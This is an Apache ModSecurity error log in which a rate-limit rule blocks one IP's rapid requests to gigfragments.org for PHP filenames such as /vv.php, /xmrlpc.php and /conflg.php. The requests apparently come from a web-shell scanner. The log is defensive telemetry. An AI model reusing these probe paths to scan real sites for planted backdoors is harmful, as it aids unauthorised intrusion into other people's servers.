[Mon Dec 08 21:18:00.874977 2025] [:error] [pid 48482:tid 48514] [client 4.190.217.206:19762] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aTbQCH23gV7gRu3vn82CVAAAAII"]
[Mon Dec 08 21:18:01.115097 2025] [:error] [pid 50569:tid 50594] [client 4.190.217.206:19768] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aTbQCfHhZxyKreYmWzKtHAAAABY"]
[Mon Dec 08 21:18:01.356028 2025] [:error] [pid 50569:tid 50578] [client 4.190.217.206:11179] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aTbQCfHhZxyKreYmWzKtHgAAAAY"]
[Mon Dec 08 21:18:01.596089 2025] [:error] [pid 50569:tid 50590] [client 4.190.217.206:11180] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbQCfHhZxyKreYmWzKtHwAAABI"]
[Mon Dec 08 21:18:01.836275 2025] [:error] [pid 48482:tid 48512] [client 4.190.217.206:11226] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbQCX23gV7gRu3vn82CVwAAAIA"]
[Mon Dec 08 21:18:02.138835 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:11225] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbQCvHhZxyKreYmWzKtIgAAAAo"]
[Mon Dec 08 21:18:02.461761 2025] [:error] [pid 48482:tid 48526] [client 4.190.217.206:11084] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbQCn23gV7gRu3vn82CWAAAAI4"]
[Mon Dec 08 21:18:02.702051 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11080] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aTbQCvHhZxyKreYmWzKtJgAAABQ"]
[Mon Dec 08 21:18:02.942923 2025] [:error] [pid 50569:tid 50572] [client 4.190.217.206:19816] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aTbQCvHhZxyKreYmWzKtJwAAAAA"]
[Mon Dec 08 21:18:03.182438 2025] [:error] [pid 50569:tid 50587] [client 4.190.217.206:11131] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aTbQC_HhZxyKreYmWzKtKQAAAA8"]
[Mon Dec 08 21:18:03.423192 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:19791] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aTbQC_HhZxyKreYmWzKtKgAAAA4"]
[Mon Dec 08 21:18:03.663590 2025] [:error] [pid 48541:tid 48559] [client 4.190.217.206:11151] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aTbQCwSNhJPArxLCdWH7LQAAARA"]
[Mon Dec 08 21:18:03.903773 2025] [:error] [pid 48541:tid 48550] [client 4.190.217.206:11170] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aTbQCwSNhJPArxLCdWH7LgAAAQc"]
[Mon Dec 08 21:18:04.204007 2025] [:error] [pid 48541:tid 48567] [client 4.190.217.206:11195] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aTbQDASNhJPArxLCdWH7LwAAARg"]
[Mon Dec 08 21:18:04.444530 2025] [:error] [pid 48573:tid 48575] [client 4.190.217.206:11171] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aTbQDFIayuqwlm3CEkaEqwAAAUA"]
[Mon Dec 08 21:18:04.685763 2025] [:error] [pid 48573:tid 48584] [client 4.190.217.206:11107] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aTbQDFIayuqwlm3CEkaErAAAAUk"]
[Mon Dec 08 21:18:04.925777 2025] [:error] [pid 50569:tid 50577] [client 4.190.217.206:19750] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aTbQDPHhZxyKreYmWzKtLAAAAAU"]
[Mon Dec 08 21:18:05.165484 2025] [:error] [pid 48573:tid 48577] [client 4.190.217.206:11239] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aTbQDVIayuqwlm3CEkaErQAAAUI"]
[Mon Dec 08 21:18:05.405798 2025] [:error] [pid 48573:tid 48592] [client 4.190.217.206:11183] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aTbQDVIayuqwlm3CEkaErgAAAVE"]
[Mon Dec 08 21:18:05.646725 2025] [:error] [pid 48573:tid 48594] [client 4.190.217.206:19766] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTbQDVIayuqwlm3CEkaErwAAAVM"]
[Mon Dec 08 21:18:05.888269 2025] [:error] [pid 48573:tid 48587] [client 4.190.217.206:11205] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTbQDVIayuqwlm3CEkaEsAAAAUw"]
[Mon Dec 08 21:18:06.129248 2025] [:error] [pid 48482:tid 48513] [client 4.190.217.206:11191] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTbQDn23gV7gRu3vn82CWwAAAIE"]
[Mon Dec 08 21:18:06.370522 2025] [:error] [pid 48482:tid 48516] [client 4.190.217.206:11196] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aTbQDn23gV7gRu3vn82CXQAAAIQ"]
[Mon Dec 08 21:18:06.611015 2025] [:error] [pid 48482:tid 48536] [client 4.190.217.206:11146] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aTbQDn23gV7gRu3vn82CXgAAAJg"]
[Mon Dec 08 21:18:06.851618 2025] [:error] [pid 48482:tid 48532] [client 4.190.217.206:11076] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aTbQDn23gV7gRu3vn82CXwAAAJQ"]
[Mon Dec 08 21:18:07.092751 2025] [:error] [pid 48482:tid 48533] [client 4.190.217.206:11190] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aTbQD323gV7gRu3vn82CYQAAAJU"]
[Mon Dec 08 21:18:07.334617 2025] [:error] [pid 48482:tid 48519] [client 4.190.217.206:11252] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aTbQD323gV7gRu3vn82CZAAAAIc"]
[Mon Dec 08 21:18:07.576667 2025] [:error] [pid 48573:tid 48591] [client 4.190.217.206:11247] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTbQD1Iayuqwlm3CEkaEtAAAAVA"]
[Mon Dec 08 21:18:07.816746 2025] [:error] [pid 50569:tid 50596] [client 4.190.217.206:19758] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTbQD_HhZxyKreYmWzKtMAAAABg"]
[Mon Dec 08 21:18:08.057105 2025] [:error] [pid 48481:tid 48506] [client 4.190.217.206:11173] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTbQECe0pzx5KCi3S0IacQAAANU"]
[Mon Dec 08 21:18:08.297305 2025] [:error] [pid 48481:tid 48485] [client 4.190.217.206:11193] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTbQECe0pzx5KCi3S0IadAAAAMA"]
[Mon Dec 08 21:18:08.537910 2025] [:error] [pid 48481:tid 48501] [client 4.190.217.206:19775] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aTbQECe0pzx5KCi3S0IadQAAANA"]
[Mon Dec 08 21:18:08.784352 2025] [:error] [pid 48573:tid 48586] [client 4.190.217.206:19754] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aTbQEFIayuqwlm3CEkaEtQAAAUs"]
[Mon Dec 08 21:18:09.030355 2025] [:error] [pid 48482:tid 48527] [client 4.190.217.206:11169] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aTbQEX23gV7gRu3vn82CaAAAAI8"]
[Mon Dec 08 21:18:09.275214 2025] [:error] [pid 48482:tid 48512] [client 4.190.217.206:11130] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aTbQEX23gV7gRu3vn82CaQAAAIA"]
[Mon Dec 08 21:18:09.535676 2025] [:error] [pid 48541:tid 48565] [client 4.190.217.206:11240] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTbQEQSNhJPArxLCdWH7NgAAARY"]
[Mon Dec 08 21:18:09.776222 2025] [:error] [pid 48481:tid 48503] [client 4.190.217.206:11097] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTbQESe0pzx5KCi3S0IadwAAANI"]
[Mon Dec 08 21:18:10.015873 2025] [:error] [pid 48481:tid 48494] [client 4.190.217.206:11201] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTbQEie0pzx5KCi3S0IaeAAAAMk"]
[Mon Dec 08 21:18:10.263977 2025] [:error] [pid 48573:tid 48593] [client 4.190.217.206:19757] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTbQElIayuqwlm3CEkaEtwAAAVI"]
[Mon Dec 08 21:18:10.512884 2025] [:error] [pid 48573:tid 48596] [client 4.190.217.206:11159] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aTbQElIayuqwlm3CEkaEuQAAAVU"]
[Mon Dec 08 21:18:10.754858 2025] [:error] [pid 50569:tid 50588] [client 4.190.217.206:11256] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aTbQEvHhZxyKreYmWzKtMwAAABA"]
[Mon Dec 08 21:18:11.056264 2025] [:error] [pid 48573:tid 48589] [client 4.190.217.206:11129] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aTbQE1Iayuqwlm3CEkaEuwAAAU4"]
[Mon Dec 08 21:18:11.358050 2025] [:error] [pid 50569:tid 50575] [client 4.190.217.206:11245] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aTbQE_HhZxyKreYmWzKtNAAAAAM"]
[Mon Dec 08 21:18:11.602800 2025] [:error] [pid 48573:tid 48581] [client 4.190.217.206:19738] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTbQE1Iayuqwlm3CEkaEvQAAAUY"]
[Mon Dec 08 21:18:11.858173 2025] [:error] [pid 48482:tid 48527] [client 4.190.217.206:19792] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTbQE323gV7gRu3vn82CbQAAAI8"]
[Mon Dec 08 21:18:12.099184 2025] [:error] [pid 48482:tid 48530] [client 4.190.217.206:19830] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTbQFH23gV7gRu3vn82CeQAAAJI"]
[Mon Dec 08 21:18:12.340039 2025] [:error] [pid 48482:tid 48526] [client 4.190.217.206:11176] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aTbQFH23gV7gRu3vn82CegAAAI4"]
[Mon Dec 08 21:18:12.581461 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:19820] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aTbQFPHhZxyKreYmWzKtOgAAAAQ"]
[Mon Dec 08 21:18:12.883108 2025] [:error] [pid 48541:tid 48560] [client 4.190.217.206:11162] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aTbQFASNhJPArxLCdWH7OwAAARE"]
[Mon Dec 08 21:18:13.124170 2025] [:error] [pid 48541:tid 48556] [client 4.190.217.206:11105] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aTbQFQSNhJPArxLCdWH7PAAAAQ0"]
[Mon Dec 08 21:18:13.425285 2025] [:error] [pid 48541:tid 48554] [client 4.190.217.206:11178] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aTbQFQSNhJPArxLCdWH7PQAAAQs"]
[Mon Dec 08 21:18:13.667499 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11253] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aTbQFfHhZxyKreYmWzKtPAAAABQ"]
[Mon Dec 08 21:18:13.968132 2025] [:error] [pid 50569:tid 50587] [client 4.190.217.206:11100] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aTbQFfHhZxyKreYmWzKtPgAAAA8"]
[Mon Dec 08 21:18:14.209001 2025] [:error] [pid 48573:tid 48588] [client 4.190.217.206:11237] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aTbQFlIayuqwlm3CEkaE0QAAAU0"]
[Mon Dec 08 21:18:14.450034 2025] [:error] [pid 48573:tid 48582] [client 4.190.217.206:11118] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aTbQFlIayuqwlm3CEkaE0wAAAUc"]
[Mon Dec 08 21:18:14.691304 2025] [:error] [pid 48573:tid 48595] [client 4.190.217.206:11149] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aTbQFlIayuqwlm3CEkaE1AAAAVQ"]
[Mon Dec 08 21:18:14.931124 2025] [:error] [pid 48541:tid 48549] [client 4.190.217.206:19771] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aTbQFgSNhJPArxLCdWH7QgAAAQY"]
